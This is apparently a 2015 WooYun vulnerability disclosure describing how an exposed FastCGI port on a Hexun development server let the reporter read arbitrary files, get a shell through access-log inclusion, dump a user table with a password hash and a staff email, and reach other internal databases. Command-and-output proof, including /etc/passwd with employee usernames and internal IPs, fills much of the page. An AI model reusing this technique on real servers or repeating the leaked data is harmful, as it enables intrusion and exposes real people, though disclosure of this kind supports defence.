当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113984

漏洞标题:和讯某开发机远程命令执行导致入侵可漫游内网(大量代码,数据库信息泄露)

相关厂商:和讯网

漏洞作者: 炼金术师

提交时间:2015-05-14 00:18

修复时间:2015-06-28 06:28

公开时间:2015-06-28 06:28

漏洞类型:系统/服务运维配置不当

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-14: 细节已通知厂商并且等待厂商处理中
2015-05-14: 厂商已经确认,细节仅向厂商公开
2015-05-24: 细节向核心白帽子及相关领域专家公开
2015-06-03: 细节向普通白帽子公开
2015-06-13: 细节向实习白帽子公开
2015-06-28: 细节向公众公开

简要描述:

我是炼金术师

详细说明:

是一个fastcgi对外导致可包含任意文件,然后通过包含accesslog来getshell

[root@ljss fastcgi]# php fastcgi.php 60.28.251.103:9000/etc/passwd
PHP Deprecated: Automatically populating $HTTP_RAW_POST_DATA is deprecated and will be removed in a future version. To avoid this warning set 'always_populate_raw_post_data' to '-1' in php.ini and use the php://input stream instead. in Unknown on line 0
Content-type: text/html; charset=UTF-8
<br />
<b>Deprecated</b>: Automatically populating $HTTP_RAW_POST_DATA is deprecated and will be removed in a future version. To avoid this warning set 'always_populate_raw_post_data' to '-1' in php.ini and use the php://input stream instead. in <b>Unknown</b> on line <b>0</b><br />
PHP Warning: Cannot modify header information - headers already sent in Unknown on line 0
<br />
<b>Warning</b>: Cannot modify header information - headers already sent in <b>Unknown</b> on line <b>0</b><br />
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
xueyanchao:x:500:500::/home/xueyanchao:/bin/bash
yangyang:x:501:500::/home/yangyang:/bin/bash
liujicheng:x:502:500::/home/liujicheng:/bin/bash
kankaijun:x:503:500::/home/kankaijun:/bin/bash
wangfei:x:505:500::/home/wangfei:/bin/bash
yutao:x:506:500::/home/yutao:/bin/bash
zhousihai:x:507:500::/home/zhousihai:/bin/bash
fukezhi:x:508:500::/home/fukezhi:/bin/bash
liwei:x:509:500::/home/liwei:/bin/bash
rongwei:x:510:500::/home/rongwei:/bin/bash
mysql:x:511:501::/home/mysql:/bin/bash
hjs:x:504:500::/home/hjs:/bin/bash

漏洞证明:

拿到服务器root权限

[root@develop-201136 ~]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:16:3E:13:56:45
inet addr:10.0.201.136 Bcast:10.0.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2804033903 errors:0 dropped:0 overruns:0 frame:0
TX packets:105108118 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:591462481676 (550.8 GiB) TX bytes:28095262566 (26.1 GiB)
eth1 Link encap:Ethernet HWaddr 00:16:3E:23:DD:3D
inet addr:60.28.251.103 Bcast:60.28.251.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:242317667 errors:0 dropped:0 overruns:0 frame:0
TX packets:11180125 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:29541282634 (27.5 GiB) TX bytes:1627785463 (1.5 GiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:1711493 errors:0 dropped:0 overruns:0 frame:0
TX packets:1711493 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3060525634 (2.8 GiB) TX bytes:3060525634 (2.8 GiB)


数据库有员工账号密码

mysql> select count(*) from user
-> ;
+----------+
| count(*) |
+----------+
| 12 |
+----------+
1 row in set (0.03 sec)
mysql> select * from user;
+---------+------------+----------------+----------------------------------------------+------------------+-------------------+----------------------------+----------------+----------------------------------+--------------------------+----------------------------------+--------------------------+-------------------+----------------+
| user_id | user_name | user_real_name | user_password | user_newpassword | user_newpass_time | user_email | user_touched | user_token | user_email_authenticated | user_email_token | user_email_token_expires | user_registration | user_editcount |
+---------+------------+----------------+----------------------------------------------+------------------+-------------------+----------------------------+----------------+----------------------------------+--------------------------+----------------------------------+--------------------------+-------------------+----------------+
| 1 | Hexunrd | wiki??? | :B:b1148930:c3786a2367dc4a6cd8ec82eb7f3c80a7 | | NULL | xueyanchao@staff.hexun.com | 20140522095650 | 0aeedad5fa676af22c6e60961c3f9fbc | NULL | NULL | NULL | 20140519094006 | 1 |


开发机嘛,源代码

[root@develop-201136 work]# ls
analyse2.00 hermes_common1.00 hermes_server1.00.origin hx_cache1.00 hxhz2py-1.0 maillist1.00 squid_mana1.00 tool
ana_squidlog1.00 hermes_server1.00 hermes_server1.00.tgz hx_cache3.00 kjava maillist1.00.tgz svn_web1.00


别的数据库也可以连

[root@develop-201136 ~]# /opt/mysql/bin/mysql -h 10.0.121.65 -ufinance_read -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 68485
Server version: 5.1.32-log MySQL Community Server (GPL)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> show databses;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'databses' at line 1
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| FINANCE_DB |
| test |
+--------------------+
3 rows in set (0.00 sec)

修复方案:

fastcgi修复

版权声明:转载请注明来源 炼金术师@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-05-14 06:27

厂商回复:

谢谢处理中

最新状态:

暂无


漏洞评价:

评论